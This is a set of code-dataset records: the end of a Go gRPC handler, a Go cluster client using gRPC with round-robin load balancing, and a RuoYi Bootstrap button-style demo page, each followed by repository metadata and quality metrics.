metrics.MeasureSince([]string{"jsm", name, "latency_ms"}, time.Now()) logc := log.WithField("method", "performApply") b, err := pb.Marshal(req) if err != nil { logc.Errorf("pb.marshal. Err=%v", err) return status.Errorf(codes.InvalidArgument, "error marshalling req %v", err) } applyReq := v1.ApplyOpRequest{ Op: opType, NowSecs: j.r.NowSeconds(), Body: b, } applyResp := j.r.ApplyOp(&applyReq) if applyResp.ErrorCode > v1.ResultCode_OK { metrics.IncrCounter([]string{"jsm", name, "errors"}, float32(1)) logc.Errorf("applyOp. Err = %v msg = %v", applyResp.ErrorCode, applyResp.ErrorMessage) return status.Errorf(codes.Code(applyResp.ErrorCode), "applyOp Err = %v", applyResp.ErrorMessage) } if err := pb.Unmarshal(applyResp.Body, resp); err != nil { metrics.IncrCounter([]string{"jsm", name, "errors"}, float32(1)) logc.Errorf("pb.Unmarshal. Err=%v", err) return status.Errorf(codes.Internal, "error un-marshalling resp %v", err) } return nil }
10,702
jsm_server
go
en
go
code
{"qsc_code_num_words": 1473, "qsc_code_num_chars": 10702.0, "qsc_code_mean_word_length": 5.1520706, "qsc_code_frac_words_unique": 0.1826205, "qsc_code_frac_chars_top_2grams": 0.04032152, "qsc_code_frac_chars_top_3grams": 0.04058506, "qsc_code_frac_chars_top_4grams": 0.04480169, "qsc_code_frac_chars_dupe_5grams": 0.43062327, "qsc_code_frac_chars_dupe_6grams": 0.35788641, "qsc_code_frac_chars_dupe_7grams": 0.32309922, "qsc_code_frac_chars_dupe_8grams": 0.25154829, "qsc_code_frac_chars_dupe_9grams": 0.21386217, "qsc_code_frac_chars_dupe_10grams": 0.18790354, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0106652, "qsc_code_frac_chars_whitespace": 0.15015885, "qsc_code_size_file_byte": 10702.0, "qsc_code_num_lines": 331.0, "qsc_code_num_chars_line_max": 131.0, "qsc_code_num_chars_line_mean": 32.33232628, "qsc_code_frac_chars_alphabet": 0.82374931, "qsc_code_frac_chars_comments": 0.15015885, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.19920319, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.15008246, "qsc_code_frac_chars_long_word_length": 0.0324354, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.09163347, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.29482072, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
cluster/client/cluster_client.go
package client import ( "fmt" v1 "github.com/1xyz/coolbeans/api/v1" log "github.com/sirupsen/logrus" "golang.org/x/net/context" "google.golang.org/grpc" _ "google.golang.org/grpc/health" "google.golang.org/grpc/resolver" "google.golang.org/grpc/resolver/manual" "strings" "time" ) var ( serviceConfig = `{ "loadBalancingPolicy": "round_robin", "healthCheckConfig": { "serviceName": "" } }` ) type ClusterNodeClient struct { v1.ClusterClient timeout time.Duration conn *grpc.ClientConn HostAddrs []string DispHostAddr string } func NewClusterNodeClient(hostAddr string, connTimeout time.Duration) (*ClusterNodeClient, error) { conn, err := grpc.Dial(hostAddr, grpc.WithInsecure()) if err != nil { log.Errorf("NewClusterNodeClient: grpc.Dial err=%v", err) return nil, err } return &ClusterNodeClient{ HostAddrs: []string{hostAddr}, DispHostAddr: hostAddr, conn: conn, ClusterClient: v1.NewClusterClient(conn), timeout: connTimeout, }, nil } func NewClusterNodeClientWithLB(hostAddrs []string, connTimeout time.Duration, opts ...grpc.DialOption) (*ClusterNodeClient, error) { conn, err := connectWithLB(hostAddrs) if err != nil { log.Errorf("NewClusterNodeClientWithLB: connectWithLB: err = %v", err) return nil, err } return &ClusterNodeClient{ ClusterClient: v1.NewClusterClient(conn), timeout: connTimeout, conn: conn, HostAddrs: hostAddrs, DispHostAddr: strings.Join(hostAddrs, ","), }, nil } func connectWithLB(hostAddrs []string) (*grpc.ClientConn, error) { r, cleanup := manual.GenerateAndRegisterManualResolver() defer cleanup() addresses := make([]resolver.Address, len(hostAddrs)) for i, s := range hostAddrs { addresses[i] = resolver.Address{Addr: s} } log.Debugf("ClusterNodeClient: connectWithLB: Addresses: %v", addresses) r.InitialState(resolver.State{Addresses: addresses}) address := fmt.Sprintf("%s:///unused", r.Scheme()) options := []grpc.DialOption{ grpc.WithInsecure(), grpc.WithDefaultServiceConfig(serviceConfig), } conn, err := grpc.Dial(address, options...) return conn, err } func (c *ClusterNodeClient) Close() error { return c.conn.Close() } func (c *ClusterNodeClient) newCtx() (context.Context, context.CancelFunc) { ctx, cancel := context.WithTimeout(context.Background(), c.timeout) return ctx, cancel } func (c *ClusterNodeClient) LeaveCluster(nodeID string) error { ctx, cancel := c.newCtx() defer cancel() if _, err := c.Leave(ctx, &v1.LeaveRequest{NodeId: nodeID}); err != nil { log.Errorf("LeaveCluster: error %v", err) return err } log.Debugf("LeaveCluster: nodeId:%v complete", nodeID) return nil } func (c *ClusterNodeClient) IsNodeLeader() (bool, error) { ctx, cancel := c.newCtx() defer cancel() b, err := c.ClusterClient.IsNodeLeader(ctx, &v1.Empty{}) if err != nil { log.Errorf("IsNodeLeader: error %v", err) return false, err } log.Debugf("IsNodeLeader:%v ", b.IsLeader) return b.IsLeader, nil } func (c *ClusterNodeClient) JoinCluster(nodeID, raftAddr string) error { req := &v1.JoinRequest{NodeId: nodeID, Addr: raftAddr} ctx, cancel := c.newCtx() defer cancel() if _, err := c.Join(ctx, req); err != nil { log.Errorf("JoinCluster: error %v", err) return err } log.Debugf("JoinCluster: nodeId:%v raftAddr:%v complete", nodeID, raftAddr) return nil }
3,385
cluster_client
go
en
go
code
{"qsc_code_num_words": 384, "qsc_code_num_chars": 3385.0, "qsc_code_mean_word_length": 6.15885417, "qsc_code_frac_words_unique": 0.27604167, "qsc_code_frac_chars_top_2grams": 0.02663848, "qsc_code_frac_chars_top_3grams": 0.01902748, "qsc_code_frac_chars_top_4grams": 0.03171247, "qsc_code_frac_chars_dupe_5grams": 0.19112051, "qsc_code_frac_chars_dupe_6grams": 0.14672304, "qsc_code_frac_chars_dupe_7grams": 0.10190275, "qsc_code_frac_chars_dupe_8grams": 0.06342495, "qsc_code_frac_chars_dupe_9grams": 0.02790698, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00314465, "qsc_code_frac_chars_whitespace": 0.15450517, "qsc_code_size_file_byte": 3385.0, "qsc_code_num_lines": 129.0, "qsc_code_num_chars_line_max": 134.0, "qsc_code_num_chars_line_mean": 26.24031008, "qsc_code_frac_chars_alphabet": 0.82320056, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22321429, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.17104874, "qsc_code_frac_chars_long_word_length": 0.07385524, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.07142857, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.20535714, "qsc_codego_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/form/button.html
<!DOCTYPE html> <html lang="zh"> <head> <th:block th:include="include :: header('按钮')" /> </head> <body class="gray-bg"> <div class="row wrapper wrapper-content animated fadeInRight"> <div class="col-sm-4"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>按钮颜色</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 可使用class来快速改变按钮的颜色,如<code>.btn-primary</code> </p> <h3 class="font-bold"> 普通按钮 </h3> <p> <button type="button" class="btn btn-w-m btn-default">btn-default</button> <button type="button" class="btn btn-w-m btn-primary">btn-primary</button> <button type="button" class="btn btn-w-m btn-success">btn-success</button> <button type="button" class="btn btn-w-m btn-info">btn-info</button> <button type="button" class="btn btn-w-m btn-warning">btn-warning</button> <button type="button" class="btn btn-w-m btn-danger">btn-danger</button> <button type="button" class="btn btn-w-m btn-white">btn-white</button> <button type="button" class="btn btn-w-m btn-link">btn-link</button> </p> </div> </div> </div> <div class="col-sm-4"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>按钮大小</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 可以通过添加class的值为<code>.btn-lg</code>, <code>.btn-sm</code>, or <code>.btn-xs</code>来修改按钮的大小 </p> <h3 class="font-bold">按钮尺寸</h3> <p> <button type="button" class="btn btn-primary btn-lg">大按钮</button> <button type="button" class="btn btn-default btn-lg">大按钮</button> <br/> <button type="button" class="btn btn-primary">默认按钮</button> <button type="button" class="btn btn-default">默认按钮</button> <br/> <button type="button" class="btn btn-primary btn-sm">小按钮</button> <button type="button" class="btn btn-default btn-sm">小按钮</button> <br/> <button type="button" class="btn btn-primary btn-xs">Mini按钮</button> <button type="button" class="btn btn-default btn-xs">Mini按钮</button> </p> </div> </div> </div> <div class="col-sm-4"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>线性按钮</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 要使用线性按钮,可添加class<code>.btn-block</code>或<code>.btn-outline</code> </p> <h3 class="font-bold">线性按钮</h3> <p> <button type="button" class="btn btn-outline btn-default">默认</button> <button type="button" class="btn btn-outline btn-primary">主要</button> <button type="button" class="btn btn-outline btn-success">成功</button> <button type="button" class="btn btn-outline btn-info">信息</button> <button type="button" class="btn btn-outline btn-warning">警告</button> <button type="button" class="btn btn-outline btn-danger">危险</button> <button type="button" class="btn btn-outline btn-link">链接</button> </p> <h3 class="font-bold">块级按钮</h3> <p> <button type="button" class="btn btn-block btn-outline btn-primary">这是一个块级按钮</button> </p> </div> </div> </div> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>3D按钮</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 可以通过添加<code>.dim</code>class来使用3D按钮. </p> <h3 class="font-bold">3D按钮</h3> <button class="btn btn-primary dim btn-large-dim" type="button"><i class="fa fa-money"></i> </button> <button class="btn btn-warning dim btn-large-dim" type="button"><i class="fa fa-warning"></i> </button> <button class="btn btn-danger dim btn-large-dim" type="button"><i class="fa fa-heart"></i> </button> <button class="btn btn-primary dim btn-large-dim" type="button"><i class="fa fa-dollar"></i>6</button> <button class="btn btn-info dim btn-large-dim btn-outline" type="button"><i class="fa fa-ruble"></i> </button> <button class="btn btn-primary dim" type="button"><i class="fa fa-money"></i> </button> <button class="btn btn-warning dim" type="button"><i class="fa fa-warning"></i> </button> <button class="btn btn-primary dim" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-success dim" type="button"><i class="fa fa-upload"></i> </button> <button class="btn btn-info dim" type="button"><i class="fa fa-paste"></i> </button> <button class="btn btn-warning dim" type="button"><i class="fa fa-warning"></i> </button> <button class="btn btn-default dim " type="button"><i class="fa fa-star"></i> </button> <button class="btn btn-danger dim " type="button"><i class="fa fa-heart"></i> </button> <button class="btn btn-outline btn-primary dim" type="button"><i class="fa fa-money"></i> </button> <button class="btn btn-outline btn-warning dim" type="button"><i class="fa fa-warning"></i> </button> <button class="btn btn-outline btn-primary dim" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-outline btn-success dim" type="button"><i class="fa fa-upload"></i> </button> <button class="btn btn-outline btn-info dim" type="button"><i class="fa fa-paste"></i> </button> <button class="btn btn-outline btn-warning dim" type="button"><i class="fa fa-warning"></i> </button> <button class="btn btn-outline btn-danger dim " type="button"><i class="fa fa-heart"></i> </button> </div> </div> </div> <div class="col-sm-12"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>下拉按钮</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 下拉按钮可使用任何颜色任何大小 </p> <h3 class="font-bold">下拉按钮</h3> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-primary dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-warning dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-default dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <br/> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-primary btn-sm dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-warning btn-sm dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-default btn-sm dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <br/> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-primary btn-xs dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-warning btn-xs dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> <div class="btn-group"> <button data-toggle="dropdown" class="btn btn-default btn-xs dropdown-toggle">操作 <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">置顶</a> </li> <li><a href="#" class="font-bold">修改</a> </li> <li><a href="#">禁用</a> </li> <li class="divider"></li> <li><a href="#">删除</a> </li> </ul> </div> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>按钮组</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <h3 class="font-bold">按钮组</h3> <div class="btn-group"> <button class="btn btn-white" type="button">左</button> <button class="btn btn-primary" type="button">中</button> <button class="btn btn-white" type="button">右</button> </div> <br/> <br/> <div class="btn-group"> <button type="button" class="btn btn-white"><i class="fa fa-chevron-left"></i> </button> <button class="btn btn-white">1</button> <button class="btn btn-white active">2</button> <button class="btn btn-white">3</button> <button class="btn btn-white">4</button> <button type="button" class="btn btn-white"><i class="fa fa-chevron-right"></i> </button> </div> </div> </div> </div> </div> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>图标按钮 </h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 任何按钮都可以在左侧或右侧添加图标 </p> <h3 class="font-bold">图标按钮</h3> <p> <button class="btn btn-primary " type="button"><i class="fa fa-check"></i>&nbsp;提交</button> <button class="btn btn-success " type="button"><i class="fa fa-upload"></i>&nbsp;&nbsp;<span class="bold">上传</span> </button> <button class="btn btn-info " type="button"><i class="fa fa-paste"></i> 编辑</button> <button class="btn btn-warning " type="button"><i class="fa fa-warning"></i> <span class="bold">警告</span> </button> <button class="btn btn-default " type="button"><i class="fa fa-map-marker"></i>&nbsp;&nbsp;百度地图</button> <a class="btn btn-success"> <i class="fa fa-weixin"> </i> 分享到微信 </a> <a class="btn btn-success btn-outline"> <i class="fa fa-qq"> </i> 使用QQ账号登录 </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-user-md"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-group"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-wrench"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-exchange"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-check-circle-o"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-road"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-ambulance"></i> </a> <a class="btn btn-white btn-bitbucket"> <i class="fa fa-star"></i> 收藏 </a> </p> <h3 class="font-bold">按钮切换</h3> <button data-toggle="button" class="btn btn-primary btn-outline" type="button">按钮1</button> <button data-toggle="button" class="btn btn-primary" type="button">按钮2</button> <div data-toggle="buttons-checkbox" class="btn-group"> <button class="btn btn-primary active" type="button"><i class="fa fa-bold"></i> 粗体</button> <button class="btn btn-primary" type="button"><i class="fa fa-underline"></i> 下划线</button> <button class="btn btn-primary active" type="button"><i class="fa fa-italic"></i> 斜体</button> </div> </div> </div> </div> <div class="col-sm-12"> <div class="row"> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>圆形图标按钮</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 要使用圆形图标按钮,可以通过添加class为<code>.btn-circle</code>实现 </p> <h3 class="font-bold">圆形按钮</h3> <br/> <button class="btn btn-default btn-circle" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-primary btn-circle" type="button"><i class="fa fa-list"></i> </button> <button class="btn btn-success btn-circle" type="button"><i class="fa fa-link"></i> </button> <button class="btn btn-info btn-circle" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-warning btn-circle" type="button"><i class="fa fa-times"></i> </button> <button class="btn btn-danger btn-circle" type="button"><i class="fa fa-heart"></i> </button> <button class="btn btn-danger btn-circle btn-outline" type="button"><i class="fa fa-heart"></i> </button> <br/> <br/> <button class="btn btn-default btn-circle btn-lg" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-primary btn-circle btn-lg" type="button"><i class="fa fa-list"></i> </button> <button class="btn btn-success btn-circle btn-lg" type="button"><i class="fa fa-link"></i> </button> <button class="btn btn-info btn-circle btn-lg" type="button"><i class="fa fa-check"></i> </button> <button class="btn btn-warning btn-circle btn-lg" type="button"><i class="fa fa-times"></i> </button> <button class="btn btn-danger btn-circle btn-lg" type="button"><i class="fa fa-heart"></i> </button> <button class="btn btn-danger btn-circle btn-lg btn-outline" type="button"><i class="fa fa-heart"></i> </button> </div> </div> </div> <div class="col-sm-6"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>圆角按钮</h5> <div class="ibox-tools"> <a class="collapse-link"> <i class="fa fa-chevron-up"></i> </a> <a class="dropdown-toggle" data-toggle="dropdown" href="#"> <i class="fa fa-wrench"></i> </a> <ul class="dropdown-menu dropdown-user"> <li><a href="#">选项1</a> </li> <li><a href="#">选项2</a> </li> </ul> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div class="ibox-content"> <p> 可以通过添加class的值微<code>.btn-rounded</code>来实现圆角按钮 </p> <h3 class="font-bold">按钮组</h3> <p> <a class="btn btn-default btn-rounded" href="#">默认</a> <a class="btn btn-primary btn-rounded" href="#">主要</a> <a class="btn btn-success btn-rounded" href="#">成果</a> <a class="btn btn-info btn-rounded" href="#">信息</a> <a class="btn btn-warning btn-rounded" href="#">警告</a> <a class="btn btn-danger btn-rounded" href="#">危险</a> <a class="btn btn-danger btn-rounded btn-outline" href="#">危险</a> <br/> <br/> <a class="btn btn-primary btn-rounded btn-block" href="#"><i class="fa fa-info-circle"></i> 圆角块级带图标按钮</a> </p> </div> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> </body> </html>
32,597
button
html
en
html
code
{"qsc_code_num_words": 2875, "qsc_code_num_chars": 32597.0, "qsc_code_mean_word_length": 3.73982609, "qsc_code_frac_words_unique": 0.06156522, "qsc_code_frac_chars_top_2grams": 0.08630952, "qsc_code_frac_chars_top_3grams": 0.10639881, "qsc_code_frac_chars_top_4grams": 0.07626488, "qsc_code_frac_chars_dupe_5grams": 0.89471726, "qsc_code_frac_chars_dupe_6grams": 0.8702567, "qsc_code_frac_chars_dupe_7grams": 0.82877604, "qsc_code_frac_chars_dupe_8grams": 0.80087426, "qsc_code_frac_chars_dupe_9grams": 0.74972098, "qsc_code_frac_chars_dupe_10grams": 0.7061942, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00531705, "qsc_code_frac_chars_whitespace": 0.53265638, "qsc_code_size_file_byte": 32597.0, "qsc_code_num_lines": 620.0, "qsc_code_num_chars_line_max": 141.0, "qsc_code_num_chars_line_mean": 52.57580645, "qsc_code_frac_chars_alphabet": 0.70047263, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.76694215, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.18691904, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.05479032, "qsc_codehtml_num_chars_text": 1786.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1c-syntax/ssl_3_1
src/cf/Reports/КонтрольРассылкиОтчетов/Templates/ОсновнаяСхемаКомпоновкиДанных/Ext/Template.xml
